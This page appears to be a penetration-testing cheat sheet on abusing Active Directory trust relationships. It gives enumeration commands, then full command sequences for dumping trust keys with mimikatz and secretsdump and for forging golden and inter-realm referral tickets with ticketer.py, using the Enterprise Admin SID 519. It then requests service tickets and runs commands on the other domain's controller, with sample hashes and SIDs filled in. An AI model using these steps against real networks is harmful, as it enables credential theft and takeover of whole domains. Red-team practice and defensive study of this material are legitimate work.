AD Trust


Enumeration

You can enumerate domain B if users from A are trusted on B.
bloodhound-ce-python --dns-tcp -u 'USER@A.LOCAL' -p 'PASS' -ns 'IP DC02.B.LOCAL' -d 'B.LOCAL' -c All,LoggedOn --auth-method ntlm -gc DC02.B.LOCAL -dc DC02.B.LOCAL

Get trust infos using ldeep from linux
ldeep ldap -u "USER" -p 'PASS' -d "A.LOCAL" -s ldap://DC01.A.LOCAL trusts

Get trusts infos from windows
nltest /domain_trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

If you see “quarantined” attributes, SID filtering is enabled

SID History

Let’s say domain A and B are trusting each other.
We are DA on the A side, and we want to compromise B.

We can abuse SID History by either forging :
- Golden ticket using krbtgt hash from domain A
- Referral ticket (inter-realm TGT) using the inter-realm trust key

In both cases the ticket impersonate a user from domain A, and an extra group SID from domain B.

If SID filtering is disabled, set the RID to 519 to act as Enterprise Admin.
If SID filtering is partially enabled, set the RID >=1000.

Golden

# krbtgt's hash from domain A
NTHASH="94041ef404bc191fd983013483869e71"

SRC_DOMAIN="A.LOCAL"
SRC_SID="S-1-5-21-1416145593-394318334-2645510166" # SID of domain A
SRC_IMPERSONATED="ADMINISTRATOR"

DST_SID="S-1-5-21-1216117106-3509144512-4230141538" # SID of domain B
DST_EXTRA_SID="${DST_SID}-519" # 519 is "Enterprise Admin"

ticketer.py -nthash $NTHASH -domain $SRC_DOMAIN -domain-sid $SRC_SID -extra-sid $DST_EXTRA_SID $SRC_IMPERSONATED

Don’t forget to specify the source domain when using the ticket.
If it don’t provide access, SID filtering may be enabled.
export KRB5CCNAME=ADMINISTRATOR.ccache
nxc smb DC02.B.local -k --use-kcache -u ADMINISTRATOR -d 'A.LOCAL' -X 'whoami'

Referral

You can dump interdomain keys with mimikatz or secretsdump.
We only need the current or old “IN” entries from A.LOCAL to B.LOCAL
mimikatz # lsadump::trust /patch
Current domain: A.LOCAL (A / S-1-5-21-1416145593-394318334-2645510166)
Domain: B.LOCAL (B / S-1-5-21-1216117106-3509144512-4230141538)
[  In ] A.LOCAL -> B.LOCAL
    * aes256_hmac       2fb3c2aff18e2c909bf38319f92e270b910a0261f12552512fe52206f4181075
    * aes128_hmac       103086927f02de0680258915217f5ce6
    * rc4_hmac_nt       5368b8a29f72d060171ed39cf6516223
[...]
With secretsdump you need to look for a machine account with targeted domain’s short name
B$:1102:aad3b435b51404eeaad3b435b51404ee:5368b8a29f72d060171ed39cf6516223:::

We make use the AES key but you can use the NTHASH with “nthash” argument as well.
cd /tmp/
rm *.ccache

SRC_AESHASH="2fb3c2aff18e2c909bf38319f92e270b910a0261f12552512fe52206f4181075"
SRC_DOMAIN="A.LOCAL"
SRC_SID="S-1-5-21-1416145593-394318334-2645510166" # SID of domain A
SRC_IMPERSONATED="ADMINISTRATOR"

DST_DOMAIN="B.LOCAL"
DST_SID="S-1-5-21-1216117106-3509144512-4230141538" # SID of domain B
DST_EXTRA_SID="${DST_SID}-519" # 519 is "Enterprise Admin"

DST_HOST="DC02"
DST_DC_IP="172.16.1.1"

ticketer.py -user-id 1000 -groups 513 -aesKey $SRC_AESHASH -domain $SRC_DOMAIN -domain-sid $SRC_SID -extra-sid "${DST_EXTRA_SID}" -spn "KRBTGT/$DST_DOMAIN" $SRC_IMPERSONATED

We now ask a CIFS service ticket for targeted host
export KRB5CCNAME="${SRC_IMPERSONATED}.ccache"
getST.py -k -no-pass -debug -spn "CIFS/${DST_HOST}.${DST_DOMAIN}" "${DST_DOMAIN}/${SRC_IMPERSONATED}@${DST_DOMAIN}" -dc-ip $DST_DC_IP

rm "${SRC_IMPERSONATED}.ccache"
mv *.ccache "${SRC_IMPERSONATED}.ccache"

Don’t forget to specify the source domain when using the ticket.
If it don’t provide access, SID filtering may be enabled.
nxc smb DC02.B.local -k --use-kcache -u ADMINISTRATOR -d 'A.LOCAL' -X 'whoami'